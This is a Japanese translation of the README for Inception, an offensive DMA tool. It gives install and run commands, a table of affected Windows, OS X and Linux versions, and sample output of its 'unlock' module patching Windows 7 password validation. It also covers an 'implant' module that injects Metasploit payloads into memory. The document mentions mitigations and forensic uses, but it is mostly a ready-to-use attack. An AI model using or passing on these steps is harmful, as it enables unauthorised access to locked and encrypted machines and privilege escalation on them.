
Inceptionは、PCIベースのDMAを悪用する物理メモリ操作・ハッキングツールです。このツールは、FireWire、Thunderbolt、ExpressCard、PC Card、およびその他のPCI/PCIeインターフェースを介して攻撃できます。
注: このツールは現在活発に開発されていません。代わりに PCILeech を参照してください。
Inception は、PCI ベースの DMA を悪用する物理メモリ操作・ハッキングツールです。このツールは、FireWire、Thunderbolt、ExpressCard、PC カード、その他の PCI/PCIe ハードウェアインターフェースに対して攻撃できます。
Inception は、DMA を使用して稼働中のコンピュータに対して侵襲的・非侵襲的なメモリハックを実行する、比較的高速で安定した、簡単かつ拡張可能な方法を提供することを目的としています。
Inception のモジュールは次のように動作します。IEEE1394 FireWire インターフェースを介して対象マシンに Serial Bus Protocol 2(SBP-2) ユニットディレクトリを提示すると、対象のオペレーティングシステムは SBP-2 デバイスが FireWire ポートに接続されたと認識します。SBP-2 デバイスは高速で大量のバルクデータ転送(例: FireWire ハードドライブやデジタルカムコーダー)に Direct Memory Access(DMA) を利用するため、対象は防御を緩めてデバイスへの DMA を有効化します。これにより、ツールは対象の RAM の下位 4GB に対して完全な読み書きアクセスを得ます。
いったん DMA が許可されると、ツールはオペレーティングシステムのコード内の特定オフセットにあるシグネチャを、利用可能なメモリページから探し出します。見つかると、ツールはそのコードを操作します。たとえば unlock モジュールでは、誤ったパスワードが入力されたときに起動する OS のパスワード認証モジュールを短絡(バイパス)します。
このモジュールを実行すると、任意のパスワードを使って対象マシンにログインできるようになるはずです。
この動作のたとえは、マシンのメモリに「すべてのパスワードが正しい」というアイデアを植え付けることです。言い換えれば、[メモリインセプション] [1] に相当します。
Inception はビール無料の意味で無償(free as in beer)であり、私のサイドプロジェクトです。
世界のフォレンジック専門家、政府、三文字機関はすでに [同様のツール] [2] を使用しています。もしあなたが反体制派であるか、抑圧的な政権に直面しているなら、このツールは OPSEC が重要である理由を示しています。ノートパソコンを決して目を離した場所に置かないでください。
[OS X > 10.7.2] [6] と [Windows > 8.1] [7] は、ユーザーが OS をロックすると FireWire DMA を無効にするため、inception を防ぎます。ユーザーがログオンしている間はツールは依然として機能します。ただし、これは現実にはあまり起こり得ない攻撃シナリオです。
さらに、[Ivy Bridge 上の OS X Mavericks > 10.8.2(2012 年以降の Mac)] [8] は VT-D を有効にしており、ユーザーがログインしている場合でも DMA リクエストを効果的にブロックし、すべての inception モジュールを妨害します。ログ/コンソールで vtd[0] fault エントリを探してください。
これらの 2 つの注意点により、このツールが有用なシナリオは徐々に減っていきますが、2015 年 3 月時点で [市場に出回っているマシンの 70% は依然として脆弱です] [9]。
このツールは Freddie Witherden 氏提供の libforensic1394 ライブラリを LGPL ライセンスの下で利用しています。
Inception に必要なもの:
OS X の FireWire インターフェースにはバグがあるため、現在は攻撃者側に Linux を推奨します。Thunderbolt から Thunderbolt への直接接続は機能しません。FireWire アダプタが必要です。Linux で Thunderbolt を使用する場合の動作は環境によって異なります。
Debian ベースのディストリビューションでは、インストールコマンドは次のようにまとめられます(root でない場合は必要に応じて sudo を適用してください):
apt-get install git cmake g++ python3 python3-pip
OS X では、[homebrew] [4] を使ってツールの要件をインストールできます:
brew install git cmake python3
依存関係をインストールした後、libforensic1394 をダウンロードしてインストールします:
wget https://freddie.witherden.org/tools/libforensic1394/releases/libforensic1394-0.2.tar.gz -O - | tar xz
cd libforensic1394-0.2
cmake CMakeLists.txt
make install
cd python
python3 setup.py install
git clone git://github.com/carmaa/inception.git
cd inception
./setup.py install
pip がインストールされていれば、セットアップスクリプトが依存関係をインストールできるはずです。
次のように入力するだけです:
incept [module name]
より完全で最新の説明については、次を実行してください:
incept -h
または [ツールホームページ] [5] を参照してください。
バージョン 0.4.0 以降、Inception はモジュール化されています。現在のモジュールとその機能は以下で説明します。
詳細なオプションについては、次を実行してください:
incept [module name] -h
unlock モジュールは、物理的にアクセスできるほぼすべての電源投入済みマシンで、ロック解除(任意のパスワードを受け付ける)と Administrator/root への権限昇格を実行できます。このモジュールは主に、BitLocker、FileVault、TrueCrypt、Pointsec などのフルディスク暗号化を利用するコンピュータに対して効果を発揮することを目的としています。暗号化を使用していないマシンをハッキングする方法は他にもたくさん(しかもより良い方法)あります。
unlock モジュールは、メインメモリが 4 GiB 以下のマシンでは安定して動作します。ターゲットがそれよりも多くのメモリを搭載している場合、ツールが到達できる物理メモリのページフレームにシグネチャがマッピングされるように運が必要です。
このバージョンの時点で、次の x86 / x64 オペレーティングシステムのロックを解除できます:
| OS | バージョン | ロック画面のロック解除 | 権限昇格 |
|---|---|---|---|
| Windows 8 | 8.1 | Yes (1) | Yes (1) |
| Windows 8 | 8.0 | Yes | Yes |
| Windows 7 | SP1 | Yes | Yes |
| Windows 7 | SP0 | Yes | Yes |
| Windows Vista | SP2 | Yes | Yes |
| Windows Vista | SP1 | Yes | Yes |
| Windows Vista | SP0 | Yes | Yes |
| Windows XP | SP3 | Yes | Yes |
| Windows XP | SP2 | Yes | Yes |
| Windows XP | SP1 | ||
| Windows XP | SP0 | ||
| Mac OS X | Mavericks | Yes (1) | Yes (1) |
| Mac OS X | Mountain Lion | Yes (1) | Yes (1) |
| Mac OS X | Lion | Yes (1) | Yes (1) |
| Mac OS X | Snow Leopard | Yes | Yes |
| Mac OS X | Leopard | ||
| Ubuntu | Saucy | Yes | Yes |
| Ubuntu | Raring | Yes | Yes |
| Ubuntu | Quantal | Yes | Yes |
| Ubuntu | Precise | Yes | Yes |
| Ubuntu | Oneiric | Yes | Yes |
| Ubuntu | Natty | Yes | Yes |
| Linux Mint | 13 | Yes | Yes |
| Linux Mint | 12 | Yes | Yes |
| Linux Mint | 12 | Yes | Yes |
(1): 上記の注意事項を参照してください。
PAM ベースの認証を使用する他の Linux ディストリビューションでも、Ubuntu のシグネチャを使用して動作する可能性があります。
このモジュールは、たとえばそれぞれ runas や sudo -s コマンドを介した権限昇格も効果的に可能にします。
ロックを解除するには、次のように入力するだけです:
incept unlock
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe
[?] Will potentially write to file. OK? [y/N] y
[*] Available targets (known signatures):
[1] Windows 8 MsvpPasswordValidate unlock/privilege escalation
[2] Windows 7 MsvpPasswordValidate unlock/privilege escalation
[3] Windows Vista MsvpPasswordValidate unlock/privilege escalation
[4] Windows XP MsvpPasswordValidate unlock/privilege escalation
[5] Mac OS X DirectoryService/OpenDirectory unlock/privilege escalation
[6] Ubuntu libpam unlock/privilege escalation
[7] Linux Mint libpam unlock/privilege escalation
[?] Please select target (or enter 'q' to quit): 2
[*] Selected target: Windows 7 MsvpPasswordValidate unlock/privilege escalation
[=============> ] 227 MiB ( 22%)
[*] Signature found at 0xe373312 in page no. 58227
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
implant モジュールは、(メモリ上のみの) Metasploit ペイロードをターゲットマシンの揮発性メモリに直接埋め込みます。Metasploit の全バージョンに含まれる msfrpcd デーモンを介して MSF と統合します。
現在のバージョンは、Windows 7 SP1 x86 に対する概念実証としてのみ動作します。他の OS、バージョン、アーキテクチャはサポートされておらず、将来サポートされる保証もありません。
使用するには、msfrpcd を起動します:
msfrpcd -P [password]
次に、別のターミナルで inception を起動します:
incept implant --msfpw [password] --msfopts [options]